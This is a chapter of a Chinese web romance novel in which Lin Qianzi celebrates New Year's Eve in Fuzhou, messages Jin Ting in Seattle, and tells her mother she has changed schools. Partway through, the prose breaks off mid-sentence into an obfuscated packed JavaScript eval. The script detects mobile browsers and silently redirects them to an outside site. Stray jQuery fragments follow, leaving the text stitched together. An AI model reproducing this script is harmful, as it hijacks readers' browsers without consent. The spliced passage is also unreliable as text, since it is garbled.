步入城市，与乡村最大的差别。就是人情往来的丝线，笼络成一个个小家，而不是一张大网。


    林茜子回国没有要探望的亲戚，也不觉得在亲戚堆会有归属感。明天就是跨年，大家都在忙自己的事。


    晚上妈妈回来，她去开门。妈妈没有变，和她们偶尔几次的视频通话一样，烫着羊毛卷，定时补染棕色头发，圆脸，涂着口红。


    妈妈看她变瘦，心血来潮去厨房捣鼓吃的。做的手抓饼，里面包的花生和水煮牛肉卷。


    茜子说谢谢，但在嘴里嚼几下，实在没怎么吃下去。她甚至吃着吃着，眼泪就啪嗒掉下来。不知道是难吃哭的，还是因为什么。


    妈妈被她弄得一惊一乍：“茜子，你怎么了？没煮熟吗？”


    心里的褶皱被这些话一点点熨平，她擦掉眼泪，笑了笑说没事，然后收拾完碗筷回到卧室。


    直到现在，她都对回到家的感觉有点奇异。虽然她记得这一切，但看到曾经使用的书桌，被套，还有厚密的笔记本。她还是感觉，自己陌生得有点像个入侵者。


    网上说，长时间往返两地的人，在某一地时，会自动消化另一地的记忆。她也很想忘掉那些，但手机里还存着个距离一万多公里，羁绊深厚的人。她做不到断舍离。


    把行李箱里的物品抽出，整理好之后，她看着手机上，靳汀说她到家记得给他发信息，报平安。


    她回复——【我很好。不用担心。】


    其实何必计较爱恨呢。有爱收下就好。


    就像现在，她觉得很幸福。


    但这次的信息，没有很快被回复，眼下国内晚上八点，西雅图还在凌晨五点。他们要隔着整整十五个小时的时差了。茜子在睡前，存下西雅图的时钟。


    第二天，迎来三十一号，这一年的元旦跨年，过得很充实热闹。


    福州的东街口，虽然没说明有跨年活动，还是聚集不少人来一起跨年。


    妈妈不喜欢人多的地方，也没给她设门禁，只说记得去哪都保持电话通畅，早点回来。


    于是她晚上一个人，揪着粉色爱心气球，来东街口跨年，身陷在茫茫人海。气球上面写有她从网上搜到的，有关二零一九的文案。


    鼓鼓的气球很难写字，茜子今晚出门前和靳汀撒娇抱怨过。突然想起，自己还没看过他写字是什么样。


    她去问靳汀这个问题，原以为他就是说一下偏连笔，还是偏正楷。


    没一会，靳汀却直接给她发来一张图。


    他从家里寻来一张白纸，字迹工整写下：【新年快乐，祝茜子天天开心。】


    Ethan：【我很久没写中文，手有点硬。】


    但他的字是很标准的正楷，一看就知道练过，哪怕许久没写，认真地写也足够漂亮。


    后来的某天，她无意看到，靳汀给一个朋友写的生日信。他其实是会写连笔的，全篇都是连笔。


    今夜，手机上的时钟，跳到十一点五十分。眼下的东街口，人海莹莹。两侧街道的店铺是闽派传统民居风格，挂着喜气洋洋的红灯笼，汇成光点。


    夜空纯净，街口的榕树挺拔翠立。福州东街口最出名的，就是街口这棵榕树。枝叶被人修剪成爱心的模样。


    算是地标，近乎所有外地来的游客，都会来拍这棵树。


    就在林茜子以为，今年的跨年会顺利进行时，却在呼啸的风里，冷不丁听到手持广播传出讲话声。


    “今年没有任何跨年活动，还请各位居民注意安全！”


    远处，是警察一遍遍重复，耐心地嘱咐注意事项。


    茜子看了看手上气球，那抹粉色在灯火里飘飘曳曳，她眉眼带笑，有点无奈。没想到，警察居然会来特意说这一声。


    但来都来了，人潮汹涌耸动，大家都没离开的意思，拿气球和手机，拍照的拍照，聊天的聊天。


    她在这里站定，给靳汀拍了张照片。


    爱心树和她的气球的合照。


    发完信息，北京时钟跳到夜晚11点·59分·50秒。


    万盏璀璨，好像也有一盏，火苗在微微跃动——为她，属于她，在温暖她。


    林茜子两手握着微微发烫的手机，仿佛是他往日掌心的温度。手机背面指节交叉，她握得紧，掌心闷汗，指尖泛红，手都在颤动。


    耳畔嘈杂似水淌过，每一句话都淹没在下一句，转瞬即逝，周而复始。她点击选用他写字的那张照片，回复。


    茜子：【新年快乐，靳汀。】


    与此同时。


    夜晚12点·00分·00秒，日历从二零一八跳到二零一九。


    “新年快乐！元旦快乐！”


    茫茫红尘，虽未张唇，她却与人间融为一色，听到大家再度齐声喊——“二零一九，你好！”


    她从网上搜的跨年文案，好像一时间也变得没那么土气。这种时候，就是越淳朴，越感人。


    掀天扑地，轰轰烈烈。花红柳绿，气球升天。光影陆离斑驳，林茜子看不真切。


    往常跨年，她总觉得，这种时候，她身边总该有一个人。


    今年，有了。


    跨年结束后，靳汀在她回家路上亲口说，他今年在西雅图的新年，是她陪他过。


    她其实刚刚一直没舍得把气球松手，半小时下来，细线她都抓得有点酸。对着视频通话界面，林茜子把气球扯到镜头面前，盯着坐在电脑桌前吃早饭的他，语气笃定：“当然要陪你一起过。”


    人流自她身后来往。茜子没急着走，停在某一条亮堂的巷。身后是她的家乡，暖色的路灯，黄翠翠的小矮树，几根搭在一起的黑色细电线杆。


    南方沿海的福州，冬日夜风也温柔。


    茜子明眸闪烁


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16408871|182305||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，裹着白色羽绒服像个小雪人，笑得柔软可爱，赤忱地回应他感恩节那句客套话：“因为，你也是我的家人呀。”


    这夜，温柔到她都忘记中美有时差。西雅图那里，还是国内的昨天。


    属于他的新年，其实还没真正来到。


    ……


    回家后，妈妈已经睡下。她轻手轻脚地开家门，溜到卫生间洗漱，灯都不敢开。


    但这一夜，她没有睡着，轻声拉着靳汀说起很多碎碎念，比如她家乡有意思的事，或是好玩的地方。


    他点头，但提醒：“你的作息刚在飞机上调好。”


    开着小夜灯，茜子缩在暖和的被子里，朝他撒娇：“我明天不睡的…明天我再调调作息。”


    靳汀轻轻抬眉：“什么？”


    看女孩半天没收回那句话的意思，还在亮晶晶地盯他，他轻轻叹着气笑：“不能不睡觉，这个茜子会猝死的。”


    虽然概率性猝死是合理观点…但是通宵一晚应该问题不大？


    她刚有这个念头，就听到靳汀说：“你还是个小朋友，应该有超量的睡眠。去睡觉。”


    除去最后三个字。前面的话，还是她之前赖床的时候说的。因为之前备考，他们有约好口语练习的时间，但她某天通宵猛了，他打电话，她没爬起来。


    她拿这个话搪塞他，他居然记到现在。


    “哦…”茜子心有不甘地把话筒贴过来，“晚安，靳老师。”


    她悻悻地挂断电话，但还是没睡，一直在床上坐到早上六点。


    今晚刻意通宵，只因为一件事。


    她还没和妈妈说换学校的事，不知怎么解释。直到妈妈早上六点起来做早饭，她听到厨房的声音，才出卧室。


    她卧室门推开可以直接看到厨房，晨光里，女人穿着睡衣还在忙活。


    芝麻味飘袭，还有股黏糊糊的甜味，在鼻腔里晃悠。顶着一夜没睡的浓厚疲倦，她幽灵一样无声走上前，从侧面看过去，发现妈妈在煮元旦吃的汤圆


    小白球滚啊滚。妈妈的手还拿着瓷汤勺，在奶锅里继续搅。小白球被煮得膨胀起来，成了大白球。


    锅里热气暖融融，她仅仅站在一旁都感受得到。


    妈妈看她站着不说话，还以为她饿了：“再过五分钟就熟。”


    林茜子盯着翻动的汤圆，感觉自己的心也在其中，被翻煮，变沸腾。她抿了抿唇，靠在厨房的洗手台，腰被硌得有点疼：“妈妈，我换学校了。报的哥大，比原先的大学排名高，在纽约读。”


    “哦。他给你打钱了？”女人波澜不惊，搅汤圆的手都没停。


    茜子为克服恐惧，只好先逼自己回应这个问题：“嗯。”她的眼皮被煮汤圆的热水汽蒸到，瞳孔微缩，垂下眼。


    心脏膨大，她缓缓补充：“不是爸爸。”


    那个他，另有其人。